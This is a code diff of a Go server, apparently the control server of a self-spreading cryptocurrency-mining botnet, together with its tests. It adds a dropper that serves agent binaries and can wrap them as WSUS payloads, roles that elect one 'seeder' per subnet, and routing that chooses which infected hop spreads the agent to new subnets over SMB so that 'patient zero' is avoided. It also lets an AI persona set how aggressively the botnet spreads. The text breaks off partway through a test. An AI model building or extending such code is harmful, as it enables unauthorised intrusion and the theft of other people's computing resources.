+	root := t.TempDir()
+	bin := filepath.Join(root, "crypto-miner-agent-linux")
+	if err := os.WriteFile(bin, []byte("linux-agent"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	got, dlName, ok := findAgentBinary("linux", root)
+	if !ok || got != bin {
+		t.Fatalf("findAgentBinary = %q ok=%v", got, ok)
+	}
+	if dlName != "crypto-miner-agent" {
+		t.Fatalf("dlName=%q", dlName)
+	}
+}
+
+func TestFindAgentBinaryMacGenericFallback(t *testing.T) {
+	root := t.TempDir()
+	agentDir := filepath.Join(root, "agent")
+	if err := os.MkdirAll(agentDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	bin := filepath.Join(agentDir, "crypto-miner-agent")
+	if err := os.WriteFile(bin, []byte("generic-unix-agent"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	got, _, ok := findAgentBinary("mac", root)
+	if !ok || got != bin {
+		t.Fatalf("findAgentBinary = %q ok=%v", got, ok)
+	}
+}
+
+func TestFindAgentBinaryMissing(t *testing.T) {
+	_, _, ok := findAgentBinary("mac", t.TempDir())
+	if ok {
+		t.Fatal("expected missing binary")
+	}
+}
+
+func withAgentBinarySearchDir(t *testing.T, root string) {
+	t.Helper()
+	orig := agentBinarySearchDir
+	agentBinarySearchDir = func() (string, error) { return root, nil }
+	t.Cleanup(func() { agentBinarySearchDir = orig })
+}
+
+func TestServeAgentBinaryDownloadWindows(t *testing.T) {
+	root := t.TempDir()
+	bin := filepath.Join(root, "agent", "crypto-miner-agent.exe")
+	if err := os.MkdirAll(filepath.Dir(bin), 0755); err != nil {
+		t.Fatal(err)
+	}
+	content := []byte("MZ-fake-windows-agent")
+	if err := os.WriteFile(bin, content, 0644); err != nil {
+		t.Fatal(err)
+	}
+	withAgentBinarySearchDir(t, root)
+
+	req := httptest.NewRequest(http.MethodGet, "/api/download/agent-windows", nil)
+	rec := httptest.NewRecorder()
+	serveAgentBinary("windows")(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	if rec.Body.String() != string(content) {
+		t.Fatalf("body=%q", rec.Body.String())
+	}
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), "crypto-miner-agent.exe") {
+		t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
+	}
+}
+
+func TestServeAgentBinaryDownloadMac(t *testing.T) {
+	root := t.TempDir()
+	bin := filepath.Join(root, "crypto-miner-agent-darwin")
+	if err := os.WriteFile(bin, []byte("darwin-agent"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	withAgentBinarySearchDir(t, root)
+
+	req := httptest.NewRequest(http.MethodGet, "/api/download/agent-mac", nil)
+	rec := httptest.NewRecorder()
+	serveAgentBinary("mac")(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d", rec.Code)
+	}
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), "crypto-miner-agent") {
+		t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
+	}
+}
+
+func TestServeAgentBinaryNotFound(t *testing.T) {
+	withAgentBinarySearchDir(t, t.TempDir())
+
+	req := httptest.NewRequest(http.MethodGet, "/api/download/agent-linux", nil)
+	rec := httptest.NewRecorder()
+	serveAgentBinary("linux")(rec, req)
+	if rec.Code != http.StatusNotFound {
+		t.Fatalf("status=%d want 404", rec.Code)
+	}
+}

server/internal/api/dropper_handler.go

@@ -139,6 +139,20 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 
+	if strings.TrimSpace(r.URL.Query().Get("wsus_wrap")) == "1" {
+		raw, err := os.ReadFile(buildPath)
+		if err != nil {
+			http.Error(w, "build read failed", http.StatusInternalServerError)
+			return
+		}
+		wrapped := wrapWSUSChunkPayload(raw)
+		w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
+		w.Header().Set("Content-Type", "application/octet-stream")
+		w.Header().Set("Content-Length", fmt.Sprintf("%d", len(wrapped)))
+		_, _ = w.Write(wrapped)
+		return
+	}
+
 	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
 	w.Header().Set("Content-Type", "application/octet-stream")
 	// Content-Length is set automatically by http.ServeFile.

server/internal/api/dropper_handler_test.go

@@ -196,6 +196,38 @@ func TestResolveDropperArtifact(t *testing.T) {
 	}
 }
 
+func TestDropperServeGetRejectsTraversalInArtifactURL(t *testing.T) {
+	h, database, dataDir := newTestDropperHandler(t)
+	buildID := "safe-build"
+	buildDir := filepath.Join(dataDir, "builds", buildID)
+	if err := os.MkdirAll(buildDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	binPath := filepath.Join(buildDir, "worker.exe")
+	if err := os.WriteFile(binPath, []byte("agent"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	// Malicious DownloadURL must not escape build dir via resolveDropperArtifact.
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
+		FilePath: binPath, FileName: "worker.exe", Platform: "windows",
+		DownloadURL: "/api/v1/builds/" + buildID + "/artifact/..%2F..%2Fsecret.zip",
+		CreatedAt: time.Now(),
+	}); err != nil {
+		t.Fatal(err)
+	}
+	req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
+	rec := httptest.NewRecorder()
+	h.ServeGet(rec, req)
+	// Falls back to FilePath worker.exe — bundle artifact name is sanitized away.
+	if rec.Code != http.StatusOK {
+		t.Fatalf("expected fallback to FilePath, got %d body=%s", rec.Code, rec.Body.String())
+	}
+	if rec.Body.String() != "agent" {
+		t.Fatalf("body=%q", rec.Body.String())
+	}
+}
+
 func TestDropperServePs1Content(t *testing.T) {
 	h, _, _ := newTestDropperHandler(t)
 	req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)

server/internal/api/fleet_agent_policy.go

@@ -3,21 +3,27 @@ package api
 import (
 	"encoding/json"
 	"strings"
+
+	"crypto-miner-server/internal/strategy"
 )
 
 // FleetAgentPolicy is runtime mining/policy pushed to agents without re-forge.
 type FleetAgentPolicy struct {
-	MiningMode     string `json:"mining_mode,omitempty"`
+	MiningMode        string                      `json:"mining_mode,omitempty"`
-	ScheduleStart  string `json:"schedule_start,omitempty"`
+	ScheduleStart     string                      `json:"schedule_start,omitempty"`
-	ScheduleEnd    string `json:"schedule_end,omitempty"`
+	ScheduleEnd       string                      `json:"schedule_end,omitempty"`
-	MaxCPUUsagePct int    `json:"max_cpu_usage_pct,omitempty"`
+	MaxCPUUsagePct    int                         `json:"max_cpu_usage_pct,omitempty"`
-	PoolHost       string `json:"pool_host,omitempty"`
+	PoolHost          string                      `json:"pool_host,omitempty"`
-	PoolPort       int    `json:"pool_port,omitempty"`
+	PoolPort          int                         `json:"pool_port,omitempty"`
-	PoolTLS        *bool  `json:"pool_tls,omitempty"`
+	PoolTLS           *bool                       `json:"pool_tls,omitempty"`
-	PoolPass       string `json:"pool_pass,omitempty"`
+	PoolPass          string                      `json:"pool_pass,omitempty"`
+	SpreadTemperament *strategy.AdaptiveStrategy `json:"spread_temperament,omitempty"`
 }
 
 func (p FleetAgentPolicy) IsEmpty() bool {
+	if p.SpreadTemperament != nil && len(p.SpreadTemperament.TierOrder) > 0 {
+		return false
+	}
 	var zero FleetAgentPolicy
 	return p == zero
 }

server/internal/api/fleet_ai_bridge.go

@@ -81,7 +81,13 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
 	}
 	snap.Stuck = fleetai.ComputeStuck(snap)
 	snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
-	if engine != nil && !aiMode {
+	if aiMode {
+		temperament := fleetai.PersonaSpreadTemperament(h.serverPolicySnapshot().AIPersona)
+		snap.Adaptive = &temperament
+		if len(temperament.Reasoning) > 0 {
+			snap.AdaptiveSummary = temperament.Reasoning[0].Action
+		}
+	} else if engine != nil {
 		fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
 		adaptive := engine.StrategyForAgent(agentID, fp)
 		snap.Adaptive = &adaptive

server/internal/api/fleet_ai_handler_test.go

@@ -102,7 +102,7 @@ func TestFleetAIHandlerGetModels(t *testing.T) {
 	}
 }
 
-func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
+func TestFleetAISnapshotSpreadTemperamentWhenAIControl(t *testing.T) {
 	database, err := db.New(t.TempDir())
 	if err != nil {
 		t.Fatal(err)
@@ -111,7 +111,7 @@ func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
 
 	hub := NewWSHub(database)
 	hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
-	hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true})
+	hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, AIPersona: fleetai.PersonaPersuasive})
 	agentID := "snap-agent-1"
 	_ = database.UpsertAgent(&models.Agent{
 		ID: agentID, Name: "node-a", Platform: "windows", Status: "online",
@@ -121,8 +121,11 @@ func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
 	if !ok {
 		t.Fatal("snapshot not found")
 	}
-	if snap.Adaptive != nil {
+	if snap.Adaptive == nil || len(snap.Adaptive.TierOrder) == 0 {
-		t.Fatalf("adaptive must be nil when AI control enabled, got %+v", snap.Adaptive)
+		t.Fatalf("expected spread temperament in snapshot, got %+v", snap.Adaptive)
+	}
+	if snap.Adaptive.TierOrder[1] != "dns_txt" {
+		t.Fatalf("persuasive spread order = %v", snap.Adaptive.TierOrder)
 	}
 }
 

server/internal/api/fleet_intelligence_test.go

@@ -435,8 +435,8 @@ func TestIntegrationAIOverridesAdaptive(t *testing.T) {
 	if !ok {
 		t.Fatal("snapshot not found")
 	}
-	if snap.Adaptive != nil {
+	if snap.Adaptive == nil || len(snap.Adaptive.TierOrder) == 0 {
-		t.Fatalf("FleetAISnapshot must omit adaptive when AI control enabled, got %+v", snap.Adaptive)
+		t.Fatalf("FleetAISnapshot must include persona spread temperament when AI control enabled, got %+v", snap.Adaptive)
 	}
 	if sent := hub.PushAdaptiveStrategyUpdates(); sent != 0 {
 		t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)

server/internal/api/fleet_role.go

@@ -0,0 +1,163 @@
+package api
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"strings"
+
+	"crypto-miner-server/internal/strategy"
+)
+
+// LANSeederHint is pushed to miners on auth when fleet roles are enabled.
+type LANSeederHint struct {
+	AgentID        string `json:"agent_id"`
+	IP             string `json:"ip,omitempty"`
+	LANFallbackURL string `json:"lan_fallback_url,omitempty"`
+}
+
+func normalizeFleetRole(role string) string {
+	switch strings.ToLower(strings.TrimSpace(role)) {
+	case "seeder":
+		return "seeder"
+	case "miner":
+		return "miner"
+	default:
+		return "auto"
+	}
+}
+
+func subnetPrefix24(ip string) string {
+	ip = strings.TrimSpace(ip)
+	if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
+		ip = ip[:idx]
+	}
+	parts := strings.Split(ip, ".")
+	if len(parts) < 3 {
+		return ""
+	}
+	return parts[0] + "." + parts[1] + "." + parts[2]
+}
+
+func (h *WSHub) storeAgentFleetRole(agentID, role string) {
+	role = normalizeFleetRole(role)
+	if role == "auto" {
+		role = "miner"
+	}
+	h.mu.Lock()
+	tel, ok := h.agentLiveTelemetry[agentID]
+	if !ok {
+		tel = map[string]interface{}{}
+		h.agentLiveTelemetry[agentID] = tel
+	}
+	tel["fleet_role"] = role
+	h.mu.Unlock()
+}
+
+func (h *WSHub) fleetRoleHintForAuth(agentID, bakedRole, clientIP string, seederCapable bool) string {
+	if !h.serverPolicySnapshot().FleetRolesEnabled {
+		return ""
+	}
+	baked := normalizeFleetRole(bakedRole)
+	if baked == "seeder" || baked == "miner" {
+		return baked
+	}
+	subnet := subnetPrefix24(clientIP)
+	if h.subnetHasOnlineSeeder(subnet) {
+		return "miner"
+	}
+	if seederCapable && h.shouldElectSubnetSeeder(agentID, subnet) {
+		return "seeder"
+	}
+	return "miner"
+}
+
+func (h *WSHub) subnetHasOnlineSeeder(subnet string) bool {
+	if subnet == "" {
+		return false
+	}
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	for id, tel := range h.agentLiveTelemetry {
+		role, _ := tel["fleet_role"].(string)
+		if role != "seeder" {
+			continue
+		}
+		if ac, ok := h.agents[id]; ok && ac != nil {
+			_ = ac
+			if agentIP := h.agentIPLocked(id); subnetPrefix24(agentIP) == subnet {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+func (h *WSHub) shouldElectSubnetSeeder(agentID, subnet string) bool {
+	if subnet == "" {
+		return false
+	}
+	sum := sha256.Sum256([]byte(subnet))
+	pick := hex.EncodeToString(sum[:4])
+	return strings.HasPrefix(agentID, pick[:2]) || pick[0]%3 == 0
+}
+
+func (h *WSHub) agentIPLocked(agentID string) string {
+	if ag, err := h.db.GetAgent(agentID); err == nil && ag != nil {
+		return ag.IP
+	}
+	return ""
+}
+
+func (h *WSHub) lanSeedersForMiner(clientIP string) []LANSeederHint {
+	if !h.serverPolicySnapshot().FleetRolesEnabled {
+		return nil
+	}
+	subnet := subnetPrefix24(clientIP)
+	var out []LANSeederHint
+	h.mu.RLock()
+	for id, tel := range h.agentLiveTelemetry {
+		role, _ := tel["fleet_role"].(string)
+		if role != "seeder" {
+			continue
+		}
+		ip := h.agentIPLocked(id)
+		if subnet != "" && subnetPrefix24(ip) != subnet {
+			continue
+		}
+		fallback := ""
+		if ip != "" {
+			fallback = "http://" + ip + ":8989/api/v1/public/webrtc-mesh/manifest?seeder=" + id
+		}
+		out = append(out, LANSeederHint{AgentID: id, IP: ip, LANFallbackURL: fallback})
+	}
+	h.mu.RUnlock()
+	return out
+}
+
+func (h *WSHub) ingestFleetPressure(agentID string, broadcast map[string]interface{}) {
+	role, _ := broadcast["fleet_role"].(string)
+	if role != "" {
+		h.storeAgentFleetRole(agentID, role)
+	}
+	seed, seedOK := broadcast["seed_pressure"].(float64)
+	hr, hrOK := broadcast["hashrate_pressure"].(float64)
+	if !seedOK && !hrOK {
+		return
+	}
+	heat := strategy.EmberwakeHeat(role, seed, hr)
+	h.mu.Lock()
+	tel, ok := h.agentLiveTelemetry[agentID]
+	if !ok {
+		tel = map[string]interface{}{}
+		h.agentLiveTelemetry[agentID] = tel
+	}
+	if seedOK {
+		tel["seed_pressure"] = seed
+	}
+	if hrOK {
+		tel["hashrate_pressure"] = hr
+	}
+	tel["emberwake_heat"] = heat
+	h.mu.Unlock()
+	broadcast["emberwake_heat"] = heat
+}

server/internal/api/fleet_role_test.go

@@ -0,0 +1,88 @@
+package api
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-server/internal/db"
+)
+
+func TestAuthResponseFleetRoleHintWhenEnabled(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	hub.SetFleetSecret("test-secret")
+	hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true})
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": "agent-seed-aa", "fleet_secret": "test-secret",
+		"wallet": "4" + repeatChar('C', 94), "hostname": "seed-host", "platform": "windows", "version": "test",
+		"fleet_role": "auto", "seeder_mode": true,
+	})
+	var payload map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &payload); err != nil {
+		t.Fatal(err)
+	}
+	if payload["success"] != true {
+		t.Fatalf("auth failed: %v", payload["error"])
+	}
+	hint, _ := payload["fleet_role_hint"].(string)
+	if hint != "seeder" && hint != "miner" {
+		t.Fatalf("expected fleet_role_hint, got %q", hint)
+	}
+}
+
+func TestAuthResponseOmitsFleetRoleHintWhenDisabled(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	hub.SetFleetSecret("test-secret")
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": "agent-miner-1", "fleet_secret": "test-secret",
+		"wallet": "4" + repeatChar('D', 94), "hostname": "miner-host", "platform": "windows", "version": "test",
+		"fleet_role": "miner",
+	})
+	var payload map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &payload); err != nil {
+		t.Fatal(err)
+	}
+	if _, ok := payload["fleet_role_hint"]; ok {
+		t.Fatal("fleet_role_hint should be omitted when fleet roles disabled")
+	}
+}
+
+func TestIngestFleetPressureSetsEmberwakeHeat(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	b := map[string]interface{}{
+		"agent_id":          "a1",
+		"fleet_role":        "miner",
+		"hashrate_pressure": 0.75,
+	}
+	hub.ingestFleetPressure("a1", b)
+	if b["emberwake_heat"] != 0.75 {
+		t.Fatalf("broadcast heat=%v", b["emberwake_heat"])
+	}
+	hub.mu.RLock()
+	tel := hub.agentLiveTelemetry["a1"]
+	hub.mu.RUnlock()
+	if tel["emberwake_heat"] != 0.75 {
+		t.Fatalf("stored heat=%v", tel["emberwake_heat"])
+	}
+}

server/internal/api/pathtracer_handler.go

@@ -18,6 +18,8 @@ import (
 	qrcode "github.com/skip2/go-qrcode"
 
 	"golang.org/x/crypto/curve25519"
+
+	"crypto-miner-server/internal/spreadrouter"
 )
 
 // ── types ─────────────────────────────────────────────────────────────────────
@@ -236,6 +238,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
 	if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
 		resp["network_hints"] = hints
 	}
+	if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
+		resp["spread_routes"] = routes
+	}
 	writeJSON(w, resp)
 }
 
@@ -363,12 +368,48 @@ func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
 		sess.DiscoveredAt = &now
 	}
 
+	resp := map[string]interface{}{
+		"ok":            discoverErr == "",
+		"session_id":    sess.ID,
+		"error":         discoverErr,
+		"service_graph": serviceGraphList(sess.ServiceGraph),
+		"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
+	}
+	if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
+		resp["spread_routes"] = routes
+	}
+	writeJSON(w, resp)
+}
+
+// POST /api/v1/pathtrace/spread-route
+// Body: {"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}
+// Returns BGP-style spread route recommendations per target subnet.
+func (h *PathTracerHandler) SpreadRoute(w http.ResponseWriter, r *http.Request) {
+	var req struct {
+		SessionID     string   `json:"session_id"`
+		TargetSubnets []string `json:"target_subnets"`
+		JoinLane      string   `json:"join_lane"`
+	}
+	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+		http.Error(w, "invalid JSON", http.StatusBadRequest)
+		return
+	}
+	req.SessionID = strings.TrimSpace(req.SessionID)
+	if req.SessionID == "" {
+		http.Error(w, "session_id is required", http.StatusBadRequest)
+		return
+	}
+	sess := h.getSession(req.SessionID)
+	if sess == nil {
+		http.Error(w, "session not found", http.StatusNotFound)
+		return
+	}
+	routes, edges := h.computeSpreadRoutes(sess, req.TargetSubnets, req.JoinLane)
 	writeJSON(w, map[string]interface{}{
-		"ok":             discoverErr == "",
+		"ok":            true,
-		"session_id":     sess.ID,
+		"session_id":    sess.ID,
-		"error":          discoverErr,
+		"spread_routes": routes,
-		"service_graph":  serviceGraphList(sess.ServiceGraph),
+		"route_edges":   edges,
-		"discovered_at":  formatDiscoveredAt(sess.DiscoveredAt),
 	})
 }
 
@@ -410,6 +451,16 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 	egress := sess.Hops[len(sess.Hops)-1]
+	if targetSubnet := strings.TrimSpace(r.URL.Query().Get("target_subnet")); targetSubnet != "" {
+		if routes := h.spreadRoutesForSession(sess, []string{targetSubnet}, ""); len(routes) > 0 {
+			for _, hop := range sess.Hops {
+				if hop.AgentID == routes[0].EgressAgentID {
+					egress = hop
+					break
+				}
+			}
+		}
+	}
 	if !h.hub.isAgentConnected(egress.AgentID) {
 		http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
 		return
@@ -426,14 +477,74 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
 		http.Error(w, err.Error(), http.StatusBadGateway)
 		return
 	}
-	writeJSON(w, map[string]interface{}{
+	resp := map[string]interface{}{
-		"ok":        true,
+		"ok":         true,
-		"agent_id":  egress.AgentID,
+		"agent_id":   egress.AgentID,
 		"agent_name": egress.AgentName,
-		"unc_path":  req.UNCPath,
+		"unc_path":   req.UNCPath,
-		"max_hosts": maxHosts,
+		"max_hosts":  maxHosts,
-		"message":   "spread_smb_unc dispatched on Path Tracer egress hop",
+		"message":    "spread_smb_unc dispatched on Path Tracer egress hop",
-	})
+	}
+	if routeHint := h.bestSpreadRouteForSession(sess, nil, ""); routeHint != nil {
+		resp["spread_route_hint"] = routeHint
+	}
+	writeJSON(w, resp)
+}
+
+func (h *PathTracerHandler) spreadRoutesForSession(sess *TraceSession, targetSubnets []string, joinLane string) []spreadrouter.RouteRecommendation {
+	routes, _ := h.computeSpreadRoutes(sess, targetSubnets, joinLane)
+	return routes
+}
+
+func (h *PathTracerHandler) computeSpreadRoutes(sess *TraceSession, targetSubnets []string, joinLane string) ([]spreadrouter.RouteRecommendation, []spreadrouter.RouteEdge) {
+	if sess == nil {
+		return nil, nil
+	}
+	in := buildSpreadRouterInput(h.hub, []*TraceSession{sess}, targetSubnets, joinLane)
+	rt := spreadrouter.Build(in)
+	return rt.Routes, rt.Edges
+}
+
+func (h *PathTracerHandler) bestSpreadRouteForSession(sess *TraceSession, targetSubnets []string, joinLane string) *spreadrouter.SpreadRouteHint {
+	routes := h.spreadRoutesForSession(sess, targetSubnets, joinLane)
+	if len(routes) == 0 {
+		return nil
+	}
+	return spreadrouter.ToHint(routes[0])
+}
+
+// RecommendSpreadRoute picks the best seed hop for a target subnet across all active sessions.
+func (h *PathTracerHandler) RecommendSpreadRoute(targetSubnet, joinLane, patientZeroID string) *spreadrouter.SpreadRouteHint {
+	if h == nil {
+		return nil
+	}
+	targetSubnet = spreadrouter.NormalizeSubnet(targetSubnet)
+	if targetSubnet == "" {
+		return nil
+	}
+	sessions := traceSessionsSnapshot(h)
+	in := buildSpreadRouterInput(h.hub, sessions, []string{targetSubnet}, joinLane)
+	rt := spreadrouter.Build(in)
+	rec, ok := rt.Recommend(targetSubnet)
+	if !ok {
+		return nil
+	}
+	if patientZeroID != "" && rec.SeedAgentID == patientZeroID {
+		// Prefer a routed egress when patient zero is not the only candidate.
+		for _, edge := range rt.Edges {
+			if edge.ToSubnet == targetSubnet && edge.FromAgentID != patientZeroID && edge.Weight >= rec.Score*0.9 {
+				rec.SeedAgentID = edge.FromAgentID
+				rec.SeedAgentName = edge.FromAgentName
+				rec.EgressAgentID = edge.FromAgentID
+				rec.EgressHopIndex = edge.HopIndex
+				rec.SessionID = edge.SessionID
+				rec.Score = edge.Weight
+				rec.Reason = "routed egress (not patient zero)"
+				break
+			}
+		}
+	}
+	return spreadrouter.ToHint(rec)
 }
 
 // ── orchestration ─────────────────────────────────────────────────────────────

server/internal/api/pathtracer_handler_test.go

@@ -593,3 +593,121 @@ func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
 	}
 	t.Fatal("timed out waiting for network_hints on pathtrace session")
 }
+
+func TestPathTracerSpreadRouteRecommendation(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	patientID := "patient-zero-agent"
+	seedID := "seed-hop-agent"
+	if err := database.UpsertAgent(&models.Agent{ID: patientID, Name: "Patient Zero", IP: "10.1.2.3", Status: "online"}); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed Hop", IP: "10.1.2.4", Status: "online"}); err != nil {
+		t.Fatal(err)
+	}
+
+	hub := NewWSHub(database)
+	connectTestAgent(t, hub, patientID)
+	connectTestAgent(t, hub, seedID)
+	hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
+	hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
+
+	handler := NewPathTracerHandler(hub)
+	sess := testTraceSession(2)
+	sess.Hops[0].AgentID = patientID
+	sess.Hops[0].AgentName = "Patient Zero"
+	sess.Hops[0].ExternalIP = "10.1.2.3"
+	sess.Hops[1].AgentID = seedID
+	sess.Hops[1].AgentName = "Seed Hop"
+	sess.Hops[1].ExternalIP = "10.1.2.4"
+	sess.ServiceGraph = map[string]ServiceGraphHost{
+		"10.1.2.50": {
+			Host: "10.1.2.50", Subnet: "10.1.2", AgentID: seedID,
+			Services: []ServiceGraphEntry{{ServiceName: "smb", Port: 445, JoinLaneCandidate: "spread_smb_unc"}},
+		},
+	}
+	handler.mu.Lock()
+	handler.sessions[sess.ID] = sess
+	handler.mu.Unlock()
+
+	body := fmt.Sprintf(`{"session_id":%q,"target_subnets":["10.1.2"],"join_lane":"do_peer"}`, sess.ID)
+	req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread-route", strings.NewReader(body))
+	rec := httptest.NewRecorder()
+	handler.SpreadRoute(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("spread-route status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	var resp struct {
+		SpreadRoutes []struct {
+			SeedAgentID   string  `json:"seed_agent_id"`
+			EgressAgentID string  `json:"egress_agent_id"`
+			Score         float64 `json:"score"`
+		} `json:"spread_routes"`
+		RouteEdges []struct {
+			Weight float64 `json:"weight"`
+		} `json:"route_edges"`
+	}
+	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
+		t.Fatal(err)
+	}
+	if len(resp.SpreadRoutes) == 0 {
+		t.Fatalf("expected routes: %s", rec.Body.String())
+	}
+	if resp.SpreadRoutes[0].SeedAgentID != seedID {
+		t.Fatalf("seed=%q want %q routes=%v", resp.SpreadRoutes[0].SeedAgentID, seedID, resp.SpreadRoutes)
+	}
+	if len(resp.RouteEdges) == 0 {
+		t.Fatal("expected weighted route edges")
+	}
+}
+
+func TestDeployPlanIncludesSpreadRouteHint(t *testing.T) {
+	deployH := testDeployPlanHandler(t)
+	patientID := "deploy-patient-zero"
+	seedID := "deploy-seed-hop"
+	if err := deployH.db.UpsertAgent(&models.Agent{ID: patientID, Name: "PZ", IP: "10.9.8.7", Status: "online"}); err != nil {
+		t.Fatal(err)
+	}
+	if err := deployH.db.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
+		t.Fatal(err)
+	}
+
+	hub := NewWSHub(deployH.db)
+	connectTestAgent(t, hub, patientID)
+	connectTestAgent(t, hub, seedID)
+	hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
+	hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
+
+	pathTracer := NewPathTracerHandler(hub)
+	deployH.BindPathTracer(pathTracer)
+	sess := testTraceSession(2)
+	sess.Hops[0].AgentID = patientID
+	sess.Hops[0].ExternalIP = "10.9.8.7"
+	sess.Hops[1].AgentID = seedID
+	sess.Hops[1].ExternalIP = "10.9.8.9"
+	sess.ServiceGraph = map[string]ServiceGraphHost{
+		"10.9.8.20": {Host: "10.9.8.20", Subnet: "10.9.8", AgentID: seedID},
+	}
+	pathTracer.mu.Lock()
+	pathTracer.sessions[sess.ID] = sess
+	pathTracer.mu.Unlock()
+
+	req := deployPlanRequest{AgentID: patientID, Platform: "windows", BuildID: "b1"}
+	hint := deployH.recommendSpreadRoute(req, "do_peer")
+	if hint == nil {
+		t.Fatal("expected spread_route_hint recommendation")
+	}
+	if hint.TargetSubnet != "10.9.8" {
+		t.Fatalf("subnet=%q want 10.9.8 (from service graph discovery)", hint.TargetSubnet)
+	}
+	if hint.SeedAgentID == "" {
+		t.Fatal("expected routed seed agent")
+	}
+	if hint.SeedAgentID == patientID {
+		t.Fatalf("expected routed egress not patient zero, got %q", hint.SeedAgentID)
+	}
+}

server/internal/api/phenotype_test.go

@@ -155,3 +155,167 @@ func TestPhenotypeAPIListByFingerprint(t *testing.T) {
 		t.Fatalf("unexpected response: %+v", body)
 	}
 }
+
+func TestGeneticBreedOnSiblingAuth(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+
+	hub := NewWSHub(database)
+	hub.SetFleetSecret("test-secret")
+
+	winnerA := "agent-winner-a"
+	winnerB := "agent-winner-b"
+	siblingID := "agent-sibling-c"
+	for _, ag := range []*models.Agent{
+		{ID: winnerA, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
+		{ID: winnerB, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
+		{ID: siblingID, Name: "worker-99", Wallet: "4" + repeatChar('C', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
+	} {
+		if err := database.UpsertAgent(ag); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	attempts := []struct {
+		Tier       string `json:"tier"`
